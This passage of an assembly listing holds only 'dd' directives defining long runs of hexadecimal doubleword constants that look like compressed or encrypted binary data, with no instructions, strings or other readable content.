640A53DFh, 0BA3BB642h dd 0B82E8080h, 6E700C3Bh, 0A50609CEh, 2AD69146h, 21DC400h dd 0BE084DDh, 4270A83Ch, 3150E680h, 1900EB41h, 24A6ACBAh dd 0A04C1Dh, 0FF3D8BA9h, 0EEFC7FFBh, 9FD0F201h, 0A6597B5h dd 38476CFCh, 7D80281Dh, 0EDAE51EAh, 207F3007h, 0E400E2E4h dd 81B585D0h, 7D0D458Bh, 7B2C03E5h, 876855B8h, 82A46FA0h dd 98145Ch, 62319153h, 1C7EB98h, 0EE75972Dh, 0FFA03936h dd 450CABA1h, 0C07E1CAEh, 59481230h, 61078A3Ah, 2C18F6CAh dd 0E46682B0h, 0B17E73h, 0C4C7FEF5h, 0FD3B631Eh, 49EF2B00h dd 4BD40A23h, 29120003h, 6308FB01h, 610115FCh, 0E1921170h dd 90CCA2FEh, 670B0FB7h, 0BAA04089h, 0EC9A25E2h, 87003678h dd 0F75A85BFh, 7508DF67h, 0C0310002h, 7BD4CA4h, 0FA265BE2h dd 0A91C2B7Dh, 2D527C82h, 16EFC0CDh, 5E620505h, 810C117Fh dd 0E8C96449h, 8100678Ch, 2C4BA67Dh, 0E4D6A98Dh, 0D34C00F3h dd 6BAADC43h, 0D20067BFh, 9F322ACFh, 0EEFAC1h, 7EF8AF7Ch dd 4093C80Eh, 4E1A6900h, 794FEA75h, 453D000Fh, 0F8BB6F74h dd 8E07DBE9h, 174A7A98h, 4B77EC10h, 560900B4h, 6858E4D5h dd 0B700B2DDh, 0BD9DD9B0h, 8B65FCh, 571CA3D1h, 96EBAE52h dd 4A0035FCh, 71D4C7E6h, 0C7C93C7Fh, 0B5CAC3B2h, 62FC8017h dd 2D000893h, 8C51A087h, 60AD5234h, 3216C8C2h, 12017F74h dd 8B80EEBEh, 9DDCF987h, 575A00A6h, 0B413E76Bh, 4E00B5DCh dd 1030A28h, 0D13868h, 5FA7461Ah, 0D489EC3h, 8A03BFE2h dd 6236349Bh, 59E0CF03h, 3F2547h, 0CB61DA65h, 0B6BCB966h dd 0B1F3D300h, 0D620D80Dh, 0EA697250h, 6CE40044h, 95E0EC36h dd 92001BCBh, 0E8F44514h, 3D09BF1h, 0AD9FB191h, 34DF4139h dd 0A5FC005Dh, 3A960A1Bh, 18003C4h, 83DFA69Ch, 2E00E2DDh dd 29A5CF0Dh, 1C227C6h dd 0CAD7C4DEh, 203A5241h, 0D3000709h, 0EB6A0487h, 433E8Ah dd 982A0182h, 0B1BEAAFEh, 14F1EE00h, 0E8CB74E0h, 0EDC500B7h dd 0C2B25119h, 8000D9B4h, 160DD811h, 7313A3h, 0F44F9FE7h dd 0B827E096h, 0FC0A3600h, 0CC625CADh, 615400DEh, 0B9597304h dd 0D81E3AE0h, 24407B1Fh, 2858143Dh, 0E29B00EEh, 421932E5h dd 7307980Bh, 0F8FB8102h, 0F7899F70h, 0CFC80054h, 51BB7EDDh dd 5C488F87h, 921C0552h, 2480218Ch, 0C86A68h, 466F3267h dd 0DFC29B1h, 0BA699500h, 8D12EE83h, 0FBC50EF7h, 84601005h dd 6FBB0E5Fh, 7086C203h, 98BC66A5h, 2E8AB7h, 3B069E7Eh dd 34CD5602h, 712F5916h, 9699F404h, 8CD800FFh, 88041015h dd 0A1056C01h, 0EB4F1AD6h, 1845D4h, 4EE7E9FBh, 3C24F6DDh dd 3B275Ch, 0ADACD189h, 9AF377h, 1B8BCC25h, 3E07669Ch dd 20BCEC00h, 937B8A6h, 4C8F74D8h, 3F1E398Ah, 0C450008Dh dd 0BAA5A760h, 9AE44278h, 90051472h, 6357BF33h, 4E2D8280h dd 220A07EFh, 11B8A87Dh, 0ED8661DBh, 0B92280E6h, 48A42E7Eh dd 6343EC3h, 98DA8594h, 0FF85107h, 5D759031h, 0EC00D0BDh dd 7A0C2DF9h, 21890Bh, 0EE785E16h, 28F6C74Bh, 0BD8DE700h dd 6A6C5C5Ah, 5EE88h, 0BC60152Eh, 0EDFA129Dh, 0AC65000h dd 0C2FEB869h, 8DA6006Ch, 471CA419h, 0DE009E1Ah, 28F34E1Fh dd 0EEA0B4FBh, 45F4CF74h, 0FAC0400h, 6B07B879h, 12F52682h dd 0DD7E46B0h, 3A6D0003h, 3CEF0E1Bh, 404CCFB2h, 0F31F001Ah dd 917A434Fh, 13781Ah, 0F6824C8h, 9560D1Eh, 0FB97E300h dd 0A0575F5Bh, 8C5E00FAh, 0BF24626Dh, 8712B2F6h, 0D400E470h dd 5EBE19EAh, 0E07A70CFh, 85DE071Ch, 2072158Ah, 8CC9AE07h dd 3ADDB700h, 1189BA17h, 2B9C00FBh, 1B5176EDh, 4E00BC95h dd 0D2430125h, 8168Eh, 384053AEh, 5B0B2635h, 4481E201h dd 179A61FEh, 0C7BAE4h, 0C151D5FDh, 2E29D49h, 1B40320Eh dd 0CAC8A0E1h, 7E39F4Dh, 0B97B174h, 8718205Dh, 240E331Ch dd 20E464F2h, 1D14B3A2h, 0C76200A5h, 49E82D5Ah, 9400E6DEh dd 0E70C997Bh, 85250Ah, 16834B6h, 79E7FE5h, 0A9C16907h dd 6F20128Ah, 5C737B05h, 57003B0Eh, 262D50Dh, 5300EF03h dd 0DC076AADh, 6FE20Ah, 0FF1DA7D9h, 0B6B034CEh, 3F00B1B0h dd 0DB3548C3h, 10D851h, 39B5C2DFh, 4A340728h, 801EBD3Bh dd 8EA1490Fh, 0C902E0Bh, 36961DD9h, 300A6F2h, 920C767Ah dd 774662Bh, 0B3D74537h, 4216D3F2h, 0C6D2DCC0h, 0A7B23E01h dd 0C95F2FBEh, 77A99DFCh, 2D6C0036h, 9EF66101h, 0CE0E8B6Ah dd 4083597Ah, 111F3FDFh, 826203A2h, 2B1908D0h, 0A8BFA80h dd 4202F660h, 0F5F454D4h, 52E630h, 0A0D294DEh, 76B9BB3Eh dd 43703100h, 112AB2A7h, 3D910963h, 4100449Bh, 78DF7D6h dd 0CA30400h, 1A8B9A7Dh, 99CC00ABh, 0CFFA1B82h, 783BC172h dd 48A300E1h, 598881D3h, 0F57303FDh, 0ED3F4928h, 9BC518D8h dd 0E8E2DC00h, 9479F430h, 1628001Ah, 0E3C1BEC0h, 7A03335Ch dd 4C56F56Ch, 17849093h, 0A6EB0185h, 0CE3A29EDh, 0A0533062h dd 19B8F07h, 0DBD0E236h, 0F69013h, 85331547h, 97FEFAB0h dd 211D5D7Bh, 1440520Eh, 0EFE4F16Ah, 0CDD9002Eh, 0B089538Dh dd 35009669h, 77BD3CF2h, 0F366672h, 61B44CACh, 0FFE0D72Eh dd 0B8283BCDh, 0BAE19A00h, 7A64205Ch, 0DA4A6025h, 5F0FC948h dd 0B3F4351Ch, 0E5610580h, 0CD0A99h, 9286CECAh, 6BFC6FEDh dd 0FE72C001h, 629608DCh, 0BDFE4h, 0E4417A48h, 0A1683218h dd 6FF36E00h, 0CA5F075h, 3B44071Ah, 17D58F84h, 0F432E0FDh dd 0AD00B9C1h, 0D7128EA8h, 3937599h, 80656E29h, 6AE8B739h dd 0B2002577h, 7C118DBEh, 0FC99E0FEh, 1B460005h, 0D8BABC58h dd 92004AE1h, 0FB33A9F7h, 4E379Fh, 0D0508ED9h, 45F5311Bh dd 985CC71Fh, 289E6B87h, 0A2D20750h, 24A60367h, 1E5D05E6h dd 0F88DEAA1h, 63E5B31h, 4998084h, 0C978C885h, 1E0A0EEBh dd 2780BD63h, 8DED6741h, 809FDE1Ch, 719CEEC0h, 0B8C88Ah dd 0B5C6D3Fh, 0D9581D1Bh, 5BFF7500h, 8CCB8B6Fh, 0E844790Ah dd 7F30FF3Ah, 7BE300B1h, 0F0FE93F2h, 61E0C3A3h, 0AED6400h dd 6BFB0EC2h, 0B05F001Ah, 0F5499520h, 0DC072298h, 0DB56BE04h dd 334DBA30h, 0FC0907Fh, 0F3DE166Ch, 95B7EE00h, 410064AEh dd 98E92532h, 8B1CCEh, 66D5E73Eh, 0B10ADBE0h, 92B52000h dd 4B514AAFh, 86B203ADh, 0F4882103h, 0FCC332A9h, 9DF676A6h dd 622ED077h, 0AA00395Dh, 69D341F9h, 0AFCC2EC9h, 0E2E1000Bh dd 936486FCh, 0EBE78307h, 20FEE83Ah, 0D24C149Ch, 0DD55007Eh dd 0C081203Dh, 0A20058FEh, 998C2AA8h, 1F901C2Eh, 5712451Fh dd 26A9016Fh, 307D0379h, 0FA2EC7E4h, 77009A99h, 4EA0E209h dd 35D200C3h, 81CE36E3h, 0B80E7AD9h, 6094101Dh, 6D0AE56Ah dd 0EE8F0232h, 0D4069A04h, 5AAA1B40h, 18785FF8h, 0B865D024h dd 0F0CE0D01h, 53E0C64Dh, 0DCE6008Ch, 1AD84B7Fh, 783B7C03h dd 92DA0074h, 2CA1E551h, 7B90BBh, 45446917h, 5515226Ch dd 6E89BF1Fh, 2855CC0h, 0ADEC0Fh, 0C58641E8h, 0B069587Ch dd 0CFDBB713h, 93D4D404h, 0A45CECC0h, 4780F18h, 11C0A35Ah dd 0BE3C7F7Dh, 5361D20Eh, 89B32314h, 0C75790DCh, 0EDFB0094h dd 732B2D6Dh, 0A5B8A160h, 0CE462A0Fh, 2CE0406Bh, 7AF5833h dd 0DD6ECCAh, 0A6B13098h, 281F4DCDh, 9F83DF3Dh, 0C954B023h dd 0D930C678h, 9AED006Fh, 0EEDBD91Eh, 2175CF36h, 9C6E3F3Eh dd 0BE00C2A5h, 3BEF5A6Ah, 4641005Bh, 979CBF4Fh, 4D005E69h dd 88CDDD5h, 128807Bh, 0E2CA5AD4h, 0C4B2C92Bh, 59E090C3h dd 5892EA00h, 0FC3E2717h, 5A1A0035h, 63E87EADh, 610104A3h dd 0B6671513h, 0FCF40796h, 0DAC907F7h, 732A9C8Dh, 8F6A71h dd 4ECAD8E7h, 16C8C500h, 0A49030C2h, 9DF80161h, 0C78CA005h dd 723D0DCh, 0A7BA3700h, 0B3AD755Ch, 923D001Dh, 8F22A136h dd 0BE00D8ABh, 3C8EB70Dh, 3488A55h, 14B98885h, 0F1E3EB2Fh dd 2DB194D8h, 0E63C441Dh, 0D0B30200h, 2BD8A4h, 1476E965h dd 0F3236F8h, 182C4100h, 8B39F4D6h, 51C4008Fh, 26315435h dd 9EE5340h, 637A6501h, 3ED9C61Dh, 10ECAFDDh, 0E49800B3h dd 0E20CDA42h, 5E00C827h, 155F824Ch, 0EE70AE8h, 7BC29110h dd 5E074CFh, 41A9FAF9h, 125DB158h, 91000471h, 2F799EF2h dd 815300E2h, 7ADF8259h, 5104159Ah, 1D43DBE8h, 0AAA00880h dd 702EC07h, 0B54A174Dh, 26892236h, 4E98A0E3h, 0AC00B7BEh dd 0B85A6254h, 0DA79E6h, 64272F28h, 167E488Dh, 81FB27Dh dd 9680C0DEh, 1D02B3B6h, 7DA50F1Ch, 6E8053A7h, 77D53088h dd 0DB0E5A00h, 4082B1E8h, 63D1002Ah, 601CFD4Ah, 7278E18Eh dd 0E00E9F7Eh, 0C055A387h, 0A5F5C4C8h, 578400F2h, 0F3BF4BA9h dd 0DA07B8A0h, 0DC16FC2Ch, 129E7B1h, 6FD3C0h, 276C1F37h dd 9E10F313h, 0A17B6824h, 83EDAB00h, 1BB572h, 62016339h dd 0B00D55B8h, 4464B100h, 2787B402h, 0DE7600F9h, 0C89C9A0Ah dd 67E89390h, 8DA65D00h, 0FB417EEAh, 0D6550022h, 0C6E3125h dd 0B903DC94h, 0E04E05A2h, 0DA86907Eh, 0D2570015h, 0D955ED44h dd 2700ADE1h, 75F49347h, 50A84h, 52AFACD5h, 0FC83F088h dd 3E72A400h, 0BF01B22Ch, 5F24001Fh, 0EFDC7011h, 140010D9h dd 0F53842C2h, 11769DBh, 6B6CE8B2h, 0D43A7EFEh, 0D0039994h dd 0BEAB1FC2h, 8E07B0D1h dd 8F710016h, 9450D564h, 0CD39D826h, 6BDE8796h, 44E08893h dd 0BEAA6Eh, 3CCE5647h, 0B2506CB7h, 0D6D8C600h, 270E24Ah dd 3D310096h, 53FAE43Fh, 714CFFBh, 3DCAA93h, 5F360A87h dd 7862E052h, 0DC7604FCh, 0C47AF806h, 1B8600CAh, 175F6EA6h dd 8E89413Bh, 0A0A22CCCh, 0A9041E35h, 64190093h, 37D91CC3h dd 34002847h, 0C7799055h, 0E70E95Ah, 2D36BAF1h, 0A3EE8020h dd 0CF00E4CAh, 0E27F9CEFh, 693899h, 0DA238D13h, 2688EE4Fh dd 36DB3C1Eh, 75F1C2C0h, 250A4E8h, 0F6813A15h, 11E0D98Ch dd 17006A6Dh, 101CAC4Dh, 3B116F01h, 0D08095D8h, 0E95D946Bh dd 4F009A26h, 31A71261h, 7D7024C2h, 83905B4h, 801DEF97h dd 4CF5FC4Dh, 8CBA2A07h, 9260DE25h, 4E455Fh, 0ED4D6B6Dh dd 145808ABh, 60E18200h, 18CA15A3h, 0CE8600A0h, 831BDF68h dd 4801AB08h, 0C16C9458h, 42203812h, 0D5B300A5h, 0CF5985ADh dd 2B1774DBh, 28005F6Ah, 3F1C0EF4h, 480D00D7h, 0F3826779h dd 0C0001ECh, 0C99C744Eh, 39443798h, 8C80DD77h, 0A045A8FCh dd 367DCFDAh, 3F9F291Fh, 0BCCBF307h, 0B130604Eh, 0B8E388h dd 0E92DEB6Eh, 0C8E7A780h, 67024C0Bh, 0D11F0070h, 2C4FBD5Ah dd 194D66Bh, 55C840CBh, 0D7A0EFF5h, 8600E21Dh, 39CE5A47h dd 3F727170h, 30009564h, 75129EFAh, 0DE00B14Dh, 0F79AAD7Ch dd 0D47E94h, 5807B8AFh, 0E1C210EAh, 0C34120Fh, 6043C70Dh dd 0BAB07C50h, 1FD90054h, 29249A8Eh, 3617FCA0h, 0A21DDD26h dd 4135C2C0h, 14ADD9h, 7D89C306h, 6479838Ch, 2AE8DF00h dd 8DC98E20h, 0D37300B2h, 0DB945E0Ah, 871F7EA5h, 39DDCD9Bh dd 48E19543h, 0C0ECD801h, 41E41742h, 775F0E6Ah, 80C1E024h dd 0BFA11065h, 490A58h, 803BD9B9h, 549349h, 0F97CB842h dd 0D35BF8D2h, 4540B71Eh, 0B3A9FEC3h, 60B6FAFBh, 645172h dd 0BE0E0597h, 747F16CCh, 9C0B6800h, 0F85080A7h, 1A0900F1h dd 21344A79h, 3500C1ECh, 430815B7h, 3F0E83EAh, 7E0061BDh dd 0D49189FAh, 53038BC8h, 1A85796Eh, 0C5E28832h, 1FD2000Dh dd 71ED6135h, 6700E42Ch, 1ED30B7Bh, 71D0339Ch, 87FA00B3h dd 10A5CCFBh, 3200EAB5h, 7F8B7C92h, 28FEE0h, 5B7A9E04h dd 3B7EFF18h, 8938D2C0h, 0E861CE9Dh, 0DC0B00F4h, 4CCCDB6Dh dd 0E4023E6Fh, 35E9E58Ah, 0D797E095h, 0CFAF03CAh, 9F10F7D2h dd 3D84D8A8h, 0A9205A07h, 0A10061ABh, 0FFECE1h, 6E9C8CE3h dd 35255645h, 0BAD5BF03h, 9886D9BBh, 7FF129Dh, 5E85E3B6h dd 99098017h, 830F783Bh, 26C965h, 9B287981h, 0D03A009Ah dd 0A6F6B55Fh, 85792F9Fh, 4D523F00h, 59407FF9h, 54531D4Eh dd 0AA1BC05Eh, 863D6C10h, 0ECE27300h, 8970DD57h, 925A0159h dd 0A4E7326Bh, 0B7C0478Bh, 0EF2F305Dh, 48072856h, 0DDE8013Fh dd 0F5C27300h, 0D09100B6h, 0CF339F34h, 4D001C97h, 8122A523h dd 0A0BEEAE6h, 3DCAAA4h, 0BD99E134h, 6BAAA039h, 0D1A6D9E0h dd 0B2836E07h, 3260260Eh, 308F95h, 6C43F425h, 7C06A415h dd 0C0B92B00h, 0D3E3DE19h, 8E08385Fh, 3E77CB80h, 0A6857A51h dd 930099EAh, 90D7268Bh, 0FDD595Ah, 0C6133CE7h, 76259420h dd 0E400CE7Ch, 0C0D61AC7h, 778DF979h, 597E0E2Bh, 3460E902h dd 1236CDE6h, 0F795DA1Dh, 5B23EC0h, 3F3D53E8h, 0F5804FB5h dd 0A64E4ADDh, 9E01B8B7h, 8168F789h, 0E3F4B227h, 0B1290070h dd 76D522AEh, 0A400E212h, 0E9BBBB3h, 5EA392h, 7C93036Ch dd 0B6EF2D13h, 81419700h, 0F6ABB256h, 0AEAC0F3Bh, 5CAB7879h dd 85A9EA03h, 0FF6FAEAh, 12CA5F00h, 0DB383Fh, 0E9FF04C7h dd 89D1EC9Ah, 0E8C96A13h, 863CB503h, 93AFF0B0h, 292F0071h dd 30E675Bh, 0FAF43E54h, 0A9251F00h, 0EFC8DA2Dh, 0DE113AA2h dd 0E36F5D80h, 63A47D87h, 10A9F300h, 9FAE906Eh, 0C498D2h dd 6A27A519h, 26E3BCA7h, 64363B00h, 0E2A285F5h, 0C03C00E9h dd 0D071827h, 9B007CA0h, 0C719D771h, 0DD9225h, 572ADB01h dd 0D4F9E19Dh, 0A201E3E4h, 271A47Ch, 3DFCCFCBh, 0E4B1075Dh dd 707D2346h, 0C09453D5h, 0DB67DE00h, 7510FDADh, 40E4C7h dd 0E948996Ah, 0EA6FBDE3h, 0FED99000h, 4377845Bh, 3BCB09D5h dd 7181995Fh, 0D0320CEBh, 0F7008744h, 42EE2A1h, 7054B981h dd 97A300E8h, 0A43F11DFh, 4600F08Fh, 0BE39C4B7h, 75160Dh dd 0E5910CBCh, 7DE3B805h, 8E730E3Fh, 0AEAD279Fh, 95DC2069h dd 0EAD28DA0h, 118700B7h, 5C6AD4C4h, 0D00FABC6h, 0A0539FB5h dd 0A65A21DBh, 0A88C00C8h, 0F6221BCFh, 37002E09h, 0ACB8B52Ch dd 6CE176h, 0C378B677h, 48962660h, 340070E6h, 24D64050h dd 1C644ABEh, 1C39302h, 6F2D8BDAh, 7FAA70ADh, 0D7BD3300h dd 1F4C0380h, 0FA9E0056h, 0D0B6E10Ch, 0A8007401h, 25BC9140h dd 741B0CAh, 0A5C82896h, 8DDB9371h, 0EC86CEA9h, 0EC0BF813h dd 701B2B39h, 169500D9h, 55DC71B1h, 96006DF2h, 0B20E3CD2h dd 0DFFA84h, 11A3FE41h, 545BC8ADh, 0EB59CD1Eh, 5A1A9340h dd 773BCAh, 0AE568D85h, 106447ADh, 875EEA00h, 1E64C72h dd 2B690088h, 3EB6C5CEh, 0B21FD16Dh, 0C2401362h, 0EAD44364h dd 0D5FA0005h, 0BCDD1D59h, 6770A59Ah, 0AC95E800h, 0D3621B7Dh dd 42270063h, 6CBDA429h, 0E87EF920h, 36EE5E07h, 4B60AEF0h dd 605877D9h, 0C51578C0h, 60006F51h, 25490807h, 7A774F57h dd 1F717E30h, 6570D288h, 533D65D8h, 930F80EFh, 0A1BB133Dh dd 3BD300ADh, 5072CA9Bh, 0C13BBC79h, 99AC8046h, 6D8D0C21h dd 0F0EBF73Ah, 1C6E6B87h, 809105D0h, 0ACAD924Ah, 25124498h dd 980077EEh, 348D3E6h, 328F01B4h, 0FFBF6C64h, 0CA236068h dd 81F0E03Eh, 5E7CA6FCh, 80EB753Dh, 517E20h, 8A0A4D0Fh dd 0F5F996DCh, 46DE7400h, 9041BEECh, 65C007Ch, 0EC3DD81h dd 0AFB84036h, 9DD6170Fh, 42E2405Eh, 327984h, 6CFA06FDh dd 0B3BC777Fh, 0DE01A2E4h, 8AC0A601h, 67F4DFE2h, 0B19C0090h dd 9BAC5D0Eh, 7D0044B7h, 1CEDB6B5h, 1D423A82h, 84FD0126h dd 0C0058116h, 6AF9BC4Dh, 1FFB0900h, 0C3804C2Ch, 0F8EF0791h dd 0E044C74Dh, 55CC94BEh, 40006CE4h, 98BB99E4h, 0A7138Ah dd 61B0165Dh, 968315E3h, 8CEDA9A0h, 7E25E0E5h, 44B41700h dd 0C738289Dh, 43DD01E0h, 34E13D1Ch, 0BBD3E471h, 4E00557Fh dd 150F6306h, 318D894h, 35B6A810h, 1C9830DAh, 7AEAFB8Ch dd 5C000F7Ch, 52B5AA5Fh, 0FFDE55h, 0D94ABC51h, 308603A2h dd 3A0E1000h, 0B05BB529h, 19B733Ch, 9D94AADDh, 0D0582652h dd 0D5026EE9h, 53FB5DFh, 0E75260EBh, 0A7C30034h, 421F3921h dd 0F30341D6h, 0E9A04D43h, 0D25C881Ch, 0CD7C0F4Ch, 3120E88Dh dd 9B77D609h, 10EF4500h, 0FDED95Eh, 2FDF00DCh, 728F7647h dd 7300B899h, 104C8EBh, 39786EE5h, 1980599Fh, 928C71C5h dd 44032905h, 34F31CA4h, 0B790B84Bh, 0EEA0126Ah, 0A5A6011Fh dd 0C49FBA0Ah, 0D21D67E6h, 0C2400FB9h, 346BD55Dh, 6E03000Ch dd 8A4B2053h, 3D003CDEh, 0FE50A7F5h, 0F3F2Bh, 517B6345h dd 1585DD7Ch, 0EFBE981Fh, 80578E8Bh, 0CFDFED39h, 0B84EE86h dd 33C3F66Fh, 5A40E80Ch, 0D7CDCB07h, 96204017h, 0C0216C6Bh dd 43021530h, 0EBE6FED3h, 237A9800h, 0E850BDAAh, 0EE320026h dd 97298894h, 630044F0h, 65F33FDBh, 7A23AD28h, 0EB0F0385h dd 0F77D1F21h, 0E41440E9h, 0F800A778h, 988906B6h, 0F525FCh dd 7DD89BB5h, 0A8A146C0h dd 74BE7800h, 31C1ACD6h, 0BB510093h, 19F634DEh, 73167176h dd 8A00E14Bh, 2B9A8D16h, 23B100C9h, 0EEF579Eh, 4FFC3D7Bh dd 0B733C52Ch, 0E4299D00h, 0F10EBh, 0E5652B60h, 5DF7B308h dd 52FE8A07h, 643020E7h, 7D521D6h, 159C96B9h, 0C9FB6023h dd 3507C585h, 341AE9DBh, 2174E450h, 0DCE2B3h, 0DD4529C0h dd 0CCCFB405h, 969CA300h, 0AC8433F3h, 4CCE0FADh, 0A8E26659h dd 0E8807161h, 19FEE863h, 0DFB1E02h, 0C0F7C240h, 99BBD6h dd 6F0FF61Dh, 0EE2BB4E1h, 0E9813200h, 9222ED66h, 0BB290B5Eh dd 3700534Dh, 0B9FB8BDh, 6808539h, 3E06D230h, 0EE90ACh dd 0EA45B769h, 3FCDC626h, 58319C00h, 0D4FEE5F6h, 198003FAh dd 0E7EA9346h, 4205D8D0h, 7FA2FF00h, 0E613617h, 2E7300ECh dd 10685475h, 0F104E98Ah, 0F3B5FAD7h, 0A061380h, 0A8CFE536h dd 976551h, 0F502BA39h, 8B88CA3Ah, 9FACBE00h, 0F8DB3F32h dd 14E50093h, 0A387C291h, 54EE9B1Ah, 64007179h, 0F652AE65h dd 3BCC50DFh, 9880C57Ch, 0F4DC4925h, 65009524h, 205E3376h dd 85C2B8h, 92D2EA5Dh, 88A951FCh, 0E602D00h, 120BED13h dd 50D90052h, 41B226C5h, 0AE3E2E0Ch, 2C648030h, 90E548A6h dd 8D603A33h, 37564200h, 1EB6580h, 530092E4h, 0B0C5A2DAh dd 3FA1677Dh, 5B070DEEh, 1064E00Bh, 5CC79F3h, 8F495039h dd 4027EA61h, 5F2DDC8Fh, 0F06E00C5h, 0F952B04Dh, 0BE000D68h dd 6C9BA880h, 3FACCE08h, 3CFB92D8h, 0A21E0A7Bh, 6D1D406Fh dd 0AAAF84F7h, 0E4D0330Ah, 5000F935h, 27220210h, 7EFF009Bh dd 1EF5B374h, 0E698D452h, 0C93E821Eh, 5F9C803Ch, 3D276264h dd 73E4DBh, 952AE9E3h, 0FF36B105h, 23F1C00h, 0B6B44489h dd 0BB5807DAh, 0E09DEB90h, 0D22ED7F5h, 0CD0ED601h, 0ACAA4731h dd 5B89A7C4h, 431E0ECFh, 3DE06561h, 0CDEDDC6Ah, 98BA1000h dd 0F50BEED2h, 78E87382h, 0BC6F3D54h, 0FDAA5D80h, 22F1FBBBh dd 0A200F9F6h, 6976E08h, 241D2BCEh, 32A6B47h, 67035D2Dh dd 318A68E8h, 0FE00D2E2h, 1C11D83Bh, 1C4256B3h, 5A9BB1h dd 5412D7FDh, 1F07C1DDh, 2F847892h, 0F4C3C290h, 0AA3900BDh dd 83E693D0h, 7F00F170h, 734A4E38h, 491AA5h, 0AFF60288h dd 63EFDC2Ch, 6FFE5B00h, 27A717EEh, 90490041h, 0F1F26D91h dd 0A21E3FD4h, 0AE806F88h, 11532389h, 0AFB12439h, 26BA2C60h dd 7DCA008Fh, 833CB5D5h, 454BA300h, 5348DAADh, 0D18200ACh dd 0B9E56117h, 0BD003A7Ch, 0C068C1F0h, 0C2E0FDh, 4FE94472h dd 4BCDC11h, 5D1BC500h, 36D1AACCh, 553100D7h, 9B10496Ch dd 8B009196h, 9B4701Fh, 83CDBDh, 6A608FEDh, 183E365Dh dd 51E14C00h, 59DA6E27h, 0F4E600BAh, 0FBFE0632h, 0A600BE5Bh dd 9BCF9880h, 7E9281A2h, 0BFE51C02h, 6800BDAEh, 5A6A6CA4h dd 0B5002F6Fh, 460113Eh, 1C64989Ah, 2711B73h, 815EC643h dd 6724C4E0h, 0DE38F8F8h, 3E844C9Bh, 9088804Bh, 6F286455h dd 84E4004Eh, 709416A9h, 0C50030A3h, 6C6382F1h, 0D6B0EBh dd 1B6B674Bh, 0A98B4009h, 0DA713F00h, 9CCDD9D8h, 3D4D00D6h dd 0DDC008BEh, 0B40F7E52h, 204313ECh, 0EB064FE2h, 0C7B50016h dd 0FD46BBFBh, 7FECF06Dh, 86534700h, 363015F8h, 1ECF0083h dd 8B4D94B9h, 0EC006EA6h, 28CD3B21h, 7479B011h, 1F8E00C4h dd 86ED5F1Ch, 97FE59F5h, 0B6531D01h, 0FBA70A0h, 1E1A3E70h dd 0C07D6C18h, 90FA6424h, 6A006F52h, 0EF126621h, 1E9F5D75h dd 0CEDE1610h, 0C120B1DCh, 9743FBCCh, 0FCA8A401h, 2E6CADB5h dd 7F9C4360h, 62DD0F83h, 6E8034B4h, 0FEE735Ch, 37F1F400h dd 0A2921841h, 0F94B0065h, 0CE890D3Eh, 0FA037B6Ah, 8C1B379Dh dd 0C2FE80F3h, 0A04CB0D2h, 72033h, 5A421DEh, 10E1CE0Bh dd 0FEEFAC00h, 7449E2FCh, 0D172076Ah, 40BF0546h, 19088ADFh dd 0C118100h, 0D5922D62h, 0C3600079h, 4058800Ah, 0FF0004A6h dd 0E975987Dh, 1EFACC5Bh, 38352C4h, 0EE4E2235h, 8A37E798h dd 95006270h, 33B2012Eh, 60B368h, 3D3DE15h, 395AC852h dd 0BFDC7B1Fh, 0D6C00EC1h, 67CC8537h, 1C0A0046h, 6D52F29Dh dd 30F6894h, 80692D8Fh, 274118D5h, 0D9390063h, 0CDAF37CAh dd 1D0F77D8h, 0A0284621h, 52D0D7BFh, 54B4004Ch, 0A08A9188h dd 1F2E079h, 7006E10Fh, 86D000Ch, 189ED7h, 77CEC6B2h, 3226446h dd 969FCA00h, 0F5EC403Dh, 0E4070070h, 2681E58Dh, 0BC0154BAh dd 2E63B5D9h, 38F44FB2h, 34B600D5h, 61C35930h, 58F8D972h dd 8ED6800h, 0BD78AC7Ch, 94550073h, 0EAB1DD47h, 0A800FD8Eh dd 0F5B5DCA3h, 1380402h, 755D5E91h, 0E06D28C5h, 30E1944h dd 6749D001h, 10675C3Ah, 768B96F0h, 0A61B0081h, 0D4AAC1E0h dd 0C600F861h, 17212CB2h, 3DDADEh, 6BAC92FCh, 0E6AD7C94h dd 0F07F0678h, 8BE18D00h, 0B4C2E7C1h, 0FE380035h, 0D3A17DCDh dd 2400B588h, 80616022h, 0B108D42h, 28ED648h, 0E1137F81h dd 5D78C80Dh, 0F8412826h, 37523500h, 7D809C03h, 4F0103B3h dd 0C4B1B7E3h, 4BCE5480h, 5FF25800h, 6FFC84E8h, 2E5E0041h dd 0D213CA22h, 3F3BC22Ch, 340A0161h, 4ADC909Ah, 90E1EBE4h dd 49FC99h, 0D6619943h, 670883BBh, 599B170Bh, 20A10EA9h dd 5394B647h, 7E7E49h, 571AA27Ah, 0E93B24F0h, 0BD1848h dd 0AC307D40h, 0DD91E3h, 2D52A54Ah, 67FBEE21h, 0D56F4F09h dd 137000FDh, 31D2EBh, 5055B66Ah, 576C5EF7h, 71C06307h dd 929066C6h, 0DF913Fh, 0B76D648Eh, 0EE7084E2h, 885E5A00h dd 0A294D4CCh, 4E2E1E1Ch, 82AADDB8h, 686A4581h, 0CF5282C0h dd 88668C00h, 0B3225CE8h, 0E09D039Bh, 0EC3E329Ah, 5A3A58B8h dd 9C24200h, 6618254Bh, 0CA3B012Dh, 70AA440Bh, 476DFCD3h dd 3FB1A607h, 83E28F5Ah, 44136086h, 7CE90051h, 9425F434h dd 0B8F8BDACh, 7F008A79h, 11AAC003h, 7112746Bh, 0AF5A0036h dd 14671591h, 0F671BACCh, 0F088C907h, 8300DBB1h, 0E8B6CF5h dd 121160E4h, 91F27AC2h, 27E8CC60h, 0F81D977Ch, 0A0C3139Bh dd 0FB9A45EAh, 7E71903Dh, 8BD70903h, 5C8058B0h, 5E8DA374h dd 8DD800Fh, 10F2E011h, 0FE0734D6h, 587A00EFh, 13A9E9F7h dd 0CC000209h, 6D734EB3h, 91289Eh, 6665926h, 2C944711h dd 0D400B072h, 0E479C4A1h, 1CD116h, 0E36CEB7Eh, 0BE75F423h dd 0FA249700h, 0EC98044h, 63903B5Fh, 74862101h, 0E4A6A9C7h dd 1DB80FD9h, 0ABE08400h, 39DF472Ah, 0F6DC5065h, 256100AFh dd 8A9D2954h, 41F83B9Ch, 700024ECh, 0D4C64F9Eh, 1F2692h dd 5FC00988h, 823B1CF8h, 0FCCB8707h, 1600A70h, 9C408Bh dd 6FD8AD30h, 9657C044h, 707C0E04h, 0F80355Ah, 0F73002h dd 3E269B2Ch, 720C589Ah, 0B9338D00h, 165D6884h, 230CC538h dd 0FC4BC3BBh, 0F6D3A388h, 9814C500h, 16A0F90Ah, 45AB3997h dd 0C2197D80h, 6C6B037Ah, 8F0044ECh, 38F90612h, 1DA093Dh dd 